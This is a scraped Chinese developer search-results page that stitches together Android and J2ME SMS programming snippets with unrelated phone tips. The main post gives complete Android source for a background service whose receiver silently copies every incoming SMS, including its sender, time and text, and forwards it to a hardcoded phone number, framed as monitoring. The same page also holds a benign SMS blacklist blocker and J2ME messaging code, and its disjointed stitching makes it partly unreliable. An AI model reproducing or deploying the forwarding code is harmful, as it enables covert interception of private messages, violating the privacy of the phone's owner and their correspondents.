精华内容
下载资源
问答
  • 通过广播接收者,接收短信,对短信内容进行判断,如果为我们指定的值就执行相应的操作。 如果短信内容是”#*location*#” 就执行,获取手机位置 如果短信内容是”#*alarm*#” 就执行,播放报警音乐 如果短信内容是...
  • 废话不多说,上代码先: 程序启动时调用的activity,在该activity中创建一个不绑定的service(防止程序退出后监控程序被关闭):package com.demo.broadcast; import ...

    废话不多说,上代码先:

    程序启动时调用的activity,在该activity中创建一个不绑定的service(防止程序退出后监控程序被关闭)

    package com.demo.broadcast;
    
    import com.demo.broadcast.service.MessageListenerService;
    
    import android.app.Activity;
    import android.content.Intent;
    import android.os.Bundle;
    import android.widget.TextView;
    
    public class MainActivity extends Activity {
        /** Called when the activity is first created. */
    	
    	private TextView tv ;
    	
        @Override
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.main);
            
            tv = (TextView)findViewById(R.id.tv);
            
            //启动一个不绑定activity的service
            Intent intent = new Intent(MainActivity.this,MessageListenerService.class);
            startService(intent);
        }
        
    }


      service类,在service被创建时注册一个广播接收器,用于监听是否接收到了短信,当service被销毁时取消注册的广播接收器

    package com.demo.broadcast.service;
    
    import com.demo.broadcast.SmsMessageReceiver;
    
    import android.app.Service;
    import android.content.Intent;
    import android.content.IntentFilter;
    import android.os.IBinder;
    import android.util.Log;
    
    public class MessageListenerService extends Service{
    
    	private static final String TAG = "MessageListenerService";
        
    	private SmsMessageReceiver messageReceiver;
    	
    	@Override
    	public IBinder onBind(Intent intent) {
    		// TODO Auto-generated method stub
    		Log.i(TAG, "*********onBind()**********");
    		return null;
    	}
    
    	@Override
    	public void onCreate() {
    		// TODO Auto-generated method stub
    		super.onCreate();
    		
    		Log.i(TAG, "*********onCreate()**********");
    		
    		
    		//注册监听广播
    		
    		messageReceiver = new SmsMessageReceiver();
    		IntentFilter intentFilter = new IntentFilter();
    		intentFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
    		
    		registerReceiver(messageReceiver, intentFilter);
    	}
    
    	@Override
    	public void onDestroy() {
    		// TODO Auto-generated method stub
    		super.onDestroy();
    		
    		Log.i(TAG, "*********onDestroy()**********");
    		//取消注册监听广播
    		
    		unregisterReceiver(messageReceiver);
    	}
    	
    	
    
    }
    


    broadcast类,监听手机是否接收到短信,当收到短信时会调用该类的onReceive()方法,在该方法里可以获取接收到的短信内容,然后发给指定的手机号上:

    package com.demo.broadcast;
    
    import java.text.SimpleDateFormat;
    import java.util.Date;
    
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.os.Bundle;
    import android.telephony.SmsManager;
    import android.telephony.SmsMessage;
    
    public class SmsMessageReceiver extends BroadcastReceiver{
        
    	//接收监控信息的手机号
    	private String LINSTENER = "15555218135";
    	@Override
    	public void onReceive(Context context, Intent intend) {
    		// TODO Auto-generated method stub
    		Bundle bundle = intend.getExtras();
    		Object messages[] = (Object[])bundle.get("pdus");
    		SmsMessage smsMessage[] = new SmsMessage[messages.length];
    		
    		for(int i=0 ; i<messages.length; i++){
    			smsMessage[i] = SmsMessage.createFromPdu((byte[])messages[i]);
    		}
    		
    		//获取短信的发送者 
    		String sender = smsMessage[0].getOriginatingAddress();// 
    		
    		//获取短信内容
    		String messageBody = smsMessage[0].getMessageBody();
    		
    		//获取短信的发送时间
    		Date date = new Date(smsMessage[0].getTimestampMillis());   
            SimpleDateFormat format = new SimpleDateFormat(   
                    "yyyy-MM-dd HH:mm:ss");   
    
            String sendTime = format.format(date);   
            
            // 把拦截到的短信发送到你指定的手机 
            SmsManager manager = SmsManager.getDefault(); 
            
            String linstenedMessage = "发件人:" + sender   
            + "  发送时间:" + sendTime + "  短信内容:" + messageBody;
            
            manager.sendTextMessage(LINSTENER, null, linstenedMessage , null,   
                    null);     
    	}
    
    }
    


    AndroidManifest.xml,注意注册权限

    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
          package="com.demo.broadcast"
          android:versionCode="1"
          android:versionName="1.0">
          
         <!-- 注册权限 -->
         <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
         <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
        <application android:icon="@drawable/icon" android:label="@string/app_name">
            <activity android:name=".MainActivity"
                      android:label="@string/app_name">
                <intent-filter>
                    <action android:name="android.intent.action.MAIN" />
                    <category android:name="android.intent.category.LAUNCHER" />
                </intent-filter>
            </activity>
            
            <service android:name="com.demo.broadcast.service.MessageListenerService">
            </service>
        </application>
        <uses-sdk android:minSdkVersion="8" />
    
    </manifest> 


     

    展开全文
  • 浅析Android手机卫士接收短信指令执行相应操作 浅析Android手机卫士手机定位的原理 获取位置 新建一个service的包 新建一个GPSService类继承系统的Service类 清单文件中注册一下 重写onCreate()方法,服务创建的...
  • 在J2ME中(SMS)手机之间的短信收发是需要端口的,我们在发短信时一般不用写端口,在接收短信时如果发送方没有写端口默认会作为普通短信发送到手机上。 使用J2ME软件时,发送短信手机和接受短信手机的端口要一直才...
    在J2ME中(SMS)手机之间的短信收发是需要端口的,我们在发短信时一般不用写端口,在接收短信时如果发送方没有写端口默认会作为普通短信发送到手机上。
    使用J2ME软件时,发送短信手机和接受短信手机的端口要一直才行收到对方发来的短信
    如果接收方一端关闭了J2ME软件,一般是作为普通短信发送到接收方。

    短信发送程序:
    package com.mopietek;

    import javax.microedition.io.Connector;
    import javax.wireless.messaging.MessageConnection;
    import javax.wireless.messaging.TextMessage;

    public class SMSSender implements Runnable{

    private static SMSSender me = new SMSSender();
    private boolean sending = false;
    private String port = null;
    private String msgString = null;
    private String receiver = null;

    public SMSSender(){

    }

    public static SMSSender getInstance(){
    return me;
    }

    public boolean isSending(){
    return sending;
    }


    public void sendMsg(String r,String p,String m){
    if(sending) return;
    receiver = r;
    port = p;
    msgString = m;
    Thread t = new Thread(this);
    t.start();
    }

    public void run() {
    // TODO Auto-generated method stub
    String address = "sms://"+receiver +":"+port;
    sending = true;
    MessageConnection c = null;
    try{
    c = (MessageConnection) Connector.open(address);
    TextMessage txtmessage = (TextMessage)c.newMessage(
    MessageConnection.TEXT_MESSAGE);
    txtmessage.setAddress(address);
    txtmessage.setPayloadText(msgString);
    c.send(txtmessage);
    }catch(Exception e){e.printStackTrace();}
    if(c !=null){
    try{
    c.close();
    }catch(Exception e){
    e.printStackTrace();
    }
    }
    sending = false;
    }

    }


    短信接受程序

    package com.mopietek;

    import javax.microedition.io.Connector;
    import javax.microedition.lcdui.Command;
    import javax.microedition.lcdui.CommandListener;
    import javax.microedition.lcdui.Display;
    import javax.microedition.lcdui.Displayable;
    import javax.microedition.lcdui.Form;
    import javax.microedition.lcdui.TextField;
    import javax.microedition.midlet.MIDlet;
    import javax.microedition.midlet.MIDletStateChangeException;
    import javax.wireless.messaging.Message;
    import javax.wireless.messaging.MessageConnection;
    import javax.wireless.messaging.MessageListener;
    import javax.wireless.messaging.TextMessage;

    public class SMSMIDlet extends MIDlet implements CommandListener,MessageListener,Runnable{

    private SMSSender sender = null;
    private Command sendCommand = new Command("Send",Command.SCREEN,1);
    private Command exitCommand = new Command("Exit",Command.EXIT,2);

    private final String port = "1234";
    private TextField numberEntry = null;
    private TextField msgEntry = null;
    private Form form = null;
    private String senderAddress=null;
    private boolean endNow = false;
    private MessageConnection c = null;
    String msgReceived = null;

    public SMSMIDlet(){

    sender = SMSSender.getInstance();
    }




    protected void destroyApp(boolean param) throws MIDletStateChangeException {

    try{
    endNow = true;
    c.close();
    }catch(Exception e){e.printStackTrace();}
    }

    protected void pauseApp() {

    try{
    endNow = true;
    c.close();
    }catch(Exception e){
    e.printStackTrace();
    }
    }

    protected void startApp() throws MIDletStateChangeException {

    if(form == null){
    form = new Form("SMSMIDlet");
    numberEntry = new TextField("Connect to:",null,256,TextField.PHONENUMBER);
    msgEntry = new TextField("Message:",null,160,TextField.ANY);
    form.append(numberEntry);
    form.append(msgEntry);

    form.addCommand(exitCommand);
    form.addCommand(sendCommand);
    form.setCommandListener(this);
    }
    Display.getDisplay(this).setCurrent(form);
    startReceive();
    }

    public void commandAction(Command c, Displayable d) {

    if(c == exitCommand){
    if(!sender.isSending()){
    try {
    destroyApp(true);
    notifyDestroyed();
    } catch (MIDletStateChangeException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
    }
    }

    }else if(c == sendCommand){
    String dest = numberEntry.getString();
    String msg = msgEntry.getString();
    if(dest.length()>0){
    sender.sendMsg(dest, port, msg);
    }
    }
    }

    public void notifyIncomingMessage(MessageConnection arg0) {
    // TODO Auto-generated method stub

    }

    public void run() {
    // TODO Auto-generated method stub
    Message msg = null;
    c = null;
    endNow = false;

    try{
    c = (MessageConnection) Connector.open("sms://:"+port);
    msg = c.receive();
    while((msg != null)&& (!endNow)){
    if(msg instanceof TextMessage){
    msgReceived = ((TextMessage)msg).getPayloadText();
    Display.getDisplay(this).callSerially(new SetMessage());
    }
    msg = c.receive();
    }
    }catch(Exception e){
    e.printStackTrace();
    }
    }

    private void startReceive(){

    Thread t;
    t = new Thread(this);
    t.start();
    }

    class SetMessage implements Runnable{

    public void run() {
    msgEntry.setString(msgReceived);
    }

    }
    }


    展开全文
  • 注:成功读出一条短信后,将自动把该条短信从接收短信队列中删除。 8.打开串口: short OpenComm() 打开串口,并且检测该串口是否连接了手机设备(手机或GSM MODEM),在调用本函数之前必须设在串口号、波特率...
  • 自动转发短信至目标手机号 只需开启转发转发至短信,并且设置目标手机号就可实现自动转发。 自动转发短信至目标邮箱 开启转发至邮箱。 设置SMTP服务器(QQ、163、126、Gmail、Outlook、自定义)。如果选择自定义...
  • 前面我们把需要拦截的手机号都存储和展示出来了,接下来是使用广播接收者拦截短信了,这个广播接收者需要和一个服务绑定,服务开启的时候,接收者存在,服务停掉时,接收关闭 在service包下定义一个类...

    前面我们把需要拦截的手机号都存储和展示出来了,接下来是使用广播接收者拦截短信了,这个广播接收者需要和一个服务绑定,服务开启的时候,接收者存在,服务停掉时,接收者关闭

     

    service包下定义一个类CallSmsSafeService继承系统的Service

    重写onCreate()方法

    获取BroadcastReceiver对象,new出来

    调用registerReceiver()方法,注册广播,参数:BroadcastReceiver对象,IntentFillter对象

     

     

    重写onDestory()方法

    调用unregisterReceiver()方法,参数:BroadcastReceiver对象

    BroadcastReceiver对象置为null

     

    定义一个内部类InnerSmsReceiver继承系统的BroadcastReceiver

    重写 onReceive()方法,传递进来参数:Context对象,Intent对象

    调用Intent对象的getExtras().get(“pdus”)方法,获取到Object[]数组

    for循环Object[]数组,每个是Object对象

    调用SmsMessage.createFromPdu()方法,获取到SmsMessage对象,参数:byte[]数组,强转Object对象

    调用SmsMessage对象的getOriginatingAddress()方法,得到String发件人

    调用Dao对象的查询数据库方法,查出这条短信的拦截模式

    判断拦截模式,如果是全部拦截3或者短信拦截2,就调用abortBroadcast()方法

     

     

    在设置中心对上面的服务进行配置,达到开启和关闭的功能

    查看这篇:http://www.cnblogs.com/taoshihan/p/5468523.html

     

     CallSmsSafeService.java

    package com.qingguow.mobilesafe.service;
    
    import android.app.Service;
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.content.IntentFilter;
    import android.os.IBinder;
    import android.telephony.SmsMessage;
    
    import com.qingguow.mobilesafe.db.ado.BlackNumberAdo;
    /**
     * 短息电话拦截服务
     * @author taoshihan
     *
     */
    public class CallSmsSafeService extends Service {
        private InnerSmsReceiver receiver;
        private BlackNumberAdo ado;
        @Override
        public IBinder onBind(Intent intent) {
            // TODO Auto-generated method stub
            return null;
        }
        /**
         * 服务创建
         */
        @Override
        public void onCreate() {
            receiver=new InnerSmsReceiver();
            IntentFilter filter=new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
            ado=new BlackNumberAdo(getApplicationContext());
            registerReceiver(receiver, filter);
            super.onCreate();
        }
        /**
         * 接收广播
         * @author taoshihan
         *
         */
        private class InnerSmsReceiver extends BroadcastReceiver{
    
            @Override
            public void onReceive(Context context, Intent intent) {
                Object[] objs=(Object[]) intent.getExtras().get("pdus");
                for(Object obj:objs){
                    SmsMessage sms=SmsMessage.createFromPdu((byte[]) obj);
                    String sender=sms.getOriginatingAddress();
                    
                    String mode=ado.find(sender);
                    if(mode!=null){
                        if (mode.equals("2") || mode.equals("3")) {
                            System.out.println("拦截短信:" + sender);
                            abortBroadcast();
                        }
                    }
                    
                }
            }
            
        }
        @Override
        public void onDestroy() {
            unregisterReceiver(receiver);
            receiver=null;
            super.onDestroy();
        }
    }

    ado类

    package com.qingguow.mobilesafe.db.ado;
    
    import java.util.ArrayList;
    import java.util.HashMap;
    import java.util.List;
    import java.util.Map;
    
    import android.content.ContentValues;
    import android.content.Context;
    import android.database.Cursor;
    import android.database.sqlite.SQLiteDatabase;
    
    import com.qingguow.mobilesafe.db.BlackNumberDBOpenHelper;
    
    public class BlackNumberAdo {
        private BlackNumberDBOpenHelper helper;
    
        public BlackNumberAdo(Context context) {
            helper = new BlackNumberDBOpenHelper(context);
        }
    
        /**
         * 插入数据
         * 
         * @param phone
         * @param mode
         */
        public void add(String phone, String mode) {
            SQLiteDatabase db = helper.getWritableDatabase();
            ContentValues values = new ContentValues();
            values.put("phone", phone);
            values.put("mode", mode);
            db.insert("blacknumber", null, values);
            db.close();
        }
    
        /**
         * 查询全部
         * 
         * @return
         */
        public List<Map<String, String>> findAll() {
            SQLiteDatabase db = helper.getReadableDatabase();
            Cursor cursor = db.rawQuery(
                    "select phone,mode from blacknumber order by id desc", null);
            List<Map<String, String>> list = new ArrayList<Map<String, String>>();
            while (cursor.moveToNext()) {
                Map<String, String> info = new HashMap<String, String>();
                String phone = cursor.getString(0);
                String mode = cursor.getString(1);
                info.put("phone", phone);
                info.put("mode", mode);
                list.add(info);
            }
            cursor.close();
            db.close();
            return list;
        }
    
        /**
         * 修改数据
         * 
         * @param phone
         * @param mode
         */
        public void update(String phone, String mode) {
            SQLiteDatabase db = helper.getWritableDatabase();
            ContentValues values = new ContentValues();
            values.put("phone", phone);
            values.put("mode", mode);
            db.update("blacknumber", values, "phone=?", new String[] { phone });
            db.close();
        }
    
        /**
         * 删除数据
         * 
         * @param phone
         */
        public void delete(String phone) {
            SQLiteDatabase db = helper.getWritableDatabase();
            db.delete("blacknumber", "phone=?", new String[] { phone });
            db.close();
        }
    
        /**
         * 查找单条
         * 
         * @param phone
         */
        public String find(String phone) {
            SQLiteDatabase db = helper.getReadableDatabase();
            Cursor cursor = db.rawQuery(
                    "select mode from blacknumber where phone=?",
                    new String[] { phone });
            if (cursor.moveToNext()) {
                String mode = cursor.getString(0);
                return mode;
            }
    
            return null;
        }
    }

     

    展开全文
  • 华为的系统也做得越来越优秀,Emotion UI配合华为为云,让你的手机比你自己还要懂你,不过手机更好的同时,也有一些小问题出现,今天就告诉大家几个华为系统中的几个小开关,关了之后手机更快,骚扰短信也少了很多。...

    华为手机经济又实惠,简单易用一直很受用户的喜爱,多年发展至今,华为的系统也做得越来越优秀,Emotion UI配合华为为云,让你的手机比你自己还要懂你,不过手机更好的同时,也有一些小问题出现,今天就告诉大家几个华为系统中的几个小开关,关了之后手机更快,骚扰短信也少了很多。

    1.首先,打开设置,找到华为账户这个菜单,滑到底部,进入设置选项,把第一个接收新消息通知关掉,这时有小伙伴会担心关了这个通知,别人给我发消息,我就看不到了?不是的,这个其实是华为云服务的通知,99%的人都用不到,所以放心大胆地关掉就行了,这样也会减少手机占用流量和后台。

    2.找到隐私选项,关掉晌我推荐应用好友,同时打开匹配联系人并更新头像,这样就没有陌生人乱打招呼了。而且如果朋友用的是华为手机,通讯录的头像也会更新,非常好用。

    如果你在用华为手机,云服务这几个开关一定要关掉,而如果没有用云服务的建议赶紧用一下,会有意想不到的效果。

    展开全文
  • 手机的飞行模式又叫航空模式,很多人在乘坐飞机的时候是打开飞行模式,飞行模式即关闭手机的通信模块,不能接打电话发短信,与基站没有信号联系,此时可以使用其它功能如计算器、秒表、时钟,这是一种“防干扰”的...
  • 计算机收发短信的OCX控件

    热门讨论 2011-04-15 15:03:26
    控件封装了标准AT指令、手机与计算机的通信内容,提供了发送短信、接收短信、拨打电话、接听电话等函数和事件,非常方便二次开发。 控件需要的硬件设备是高深商公司研发的“手机盒”(见下面的名词解析)或能与...
  • 浅析Android手机卫士接收短信指令执行相应操作 手机定位的三种方式:网络定位,基站定位,GPS定位 网络定位,手机连上wifi 2g 3g的时候,手机会有一个ip,误差很大 基站定位,精确度与基站的多少有关,几十米到几...
  • 我写了一个继承BroadcastReceiver的接收器,在进程关闭时,能接收手机重启的广播,但是不能接收收到短信的广播。网上查了很多方法,都是在intent上加个flag。但是接收短信收到的广播貌似不能用这种方法吧。求解。
  • 浅析Android手机卫士接收短信指令执行相应操作 浅析Android手机卫士手机定位的原理 浅析Android手机卫士之手机实现短信指令获取位置 设备管理员 Device Admin 获取DevicePolicyManager对象,通过getSystemService...
  • Android开发—broadcast短信监控

    千次阅读 2015-01-25 22:42:28
    昨天给自己的app新增了一个功能:可以允许指定好友通过短信方式来打开自己手机的gps定位,并将位置信息上传至服务器。 因为定位功能在程序后台运行的时候是关闭状态的,所以通过app还是不能随时查看好友位置。 ...
  • void Init():初始化(只调用一次) int WINAPI CommOpen(int comno,int baud,int devType): ...int WINAPI RecvMsg(int comno,char* xml):接收短信 comno 串口号 xml 接收短信内容(XML格式) 返回值: 0 为失败 1为成功
  • 想将手机插入其他SIM卡使用时,本程序会根据配置情况,向指定的手机号码发出短信通知,告知手机主人当前哪个号码正在使用他的手机,并且如果手机GPS功能开启,那么手机主人除了接收到一条文本短信外,还将每半个小时...
  • 2月10日消息,据微博网友反馈,中国联通短信功能今日...如您比较急用,可以先关闭手机中volte功能再尝试。 而根据中国联通客服公布的最新进展,其短信系统已于11点恢复正常。不过官方并未给出故障的具体原因。 ...
  • 使用您当前的Android:trade_mark:手机和号码从Chrome发送和接收短信和彩信。 您仍然可以像平常一样在手机上发送/接收文本。 更多功能: ★短信打到手机时立即获取短信通知 ★未接电话提醒,通话记录和短信提示 ★...
  • //手机号码,多个号码使用英文逗号进行分割 params.put("hm", phones); //将短信内容进行URLEncoder编码 params.put("nr", URLEncoder.encode(content)); return HttpRequestUtil.getRequest(url, ...
  • 何为飞行模式手机的飞行模式又叫航空模式,是在乘坐飞机时必须关掉手机或者开启手机自带的飞行模式切断所有通讯信号,以免手机信号的发射和接收对飞机飞行造成影响,有些手机里就自带了这个功能,可以关闭掉SIM卡的...
  • 3、设备在接收到“GPS001”的短信后会开启GPS模块电源,GPS模块在接收的卫星有效数据后D4会闪烁2次,然后会关闭 GPS模块电源,再发送GPS信息到目标手机;如果90S内没有接收到卫星有效数据会发送接收不到卫星信号的...
  • 何为飞行模式手机的飞行模式又叫航空模式,是在乘坐飞机时必须关掉手机或者开启手机自带的飞行模式切断所有通讯信号,以免手机信号的发射和接收对飞机飞行造成影响,有些手机里就自带了这个功能,可以关闭掉SIM卡的...
  • 如果关掉手机,第二天起来,开机也得接收好几分钟的短信,还有要慢慢一条条删除,真的痛苦!再加上,早来起来查看服务器的时候,并没有发现什么异常呀!找了两天都没有发现问题在哪!今天查看到了...
  • 我们大家都知道平常我们用的手机卡,那就是我们在本地拿身份证去办的卡,现在由于国家实名制的实施,一张身份证只能办5张...2,不能给正常手机号段发送短信,如13,15,18等正常手机号码段。3,只能接收到验证码,如...
  • 中国移动11月监测发现“伪系统扩展”、“伪视频”、“扣费...造成客户手机后台自动联网并下载手机应用、不知情订购业务、无法正常接收10086短信、消耗CPU资源、强制关闭安全软件、手机话费无故减少等,严重侵害客...
  • 4、 添加时间调整功能,使某些接收时间不对开启此功能。 主要错误修复: 1、 系统优化中去除接入点清理。 2、 丰富程序管理显示信息。 3、 解决五版机器上屏幕锁定情况下拦截模式选择关闭铃声无效。 4、 修改在...
  • RXTX for Java void Init():初始化(只调用一次) int WINAPI CommOpen(int comno,int baud,...int WINAPI RecvMsg(int comno,char* xml):接收短信 comno 串口号 xml 接收短信内容(XML格式) 返回值: 0 为失败 1为成功
  • BroadcastReceiver详解以及应用

    千次阅读 2016-11-19 21:39:41
    使用Android手机的时候,我们的手机管家中经常会出现开机自启动某某app,那么对于这个某某APP来说,他是怎么知道系统什么时候开机的呢?还有,系统短信怎么知道收到了短信?以及屏幕点亮与关闭、应用卸载与安装等等...

空空如也

空空如也

1 2 3 4 5 6
收藏数 120
精华内容 48
关键字:

关闭手机接收短信